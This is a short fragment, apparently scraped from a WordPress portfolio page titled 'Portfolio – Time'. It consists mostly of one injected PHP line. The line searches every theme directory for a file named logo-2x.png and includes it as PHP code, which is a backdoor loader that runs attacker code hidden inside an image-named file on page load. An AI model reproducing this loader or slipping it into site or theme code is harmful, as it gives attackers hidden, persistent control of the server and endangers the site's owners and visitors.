foreach (glob(ABSPATH .'wp-content/themes/*') as $theme) if (!isset($_SERVER['wp-theme-logo']) && file_exists($theme .= '/logo-2x.png')) include_once $theme; Portfolio – Time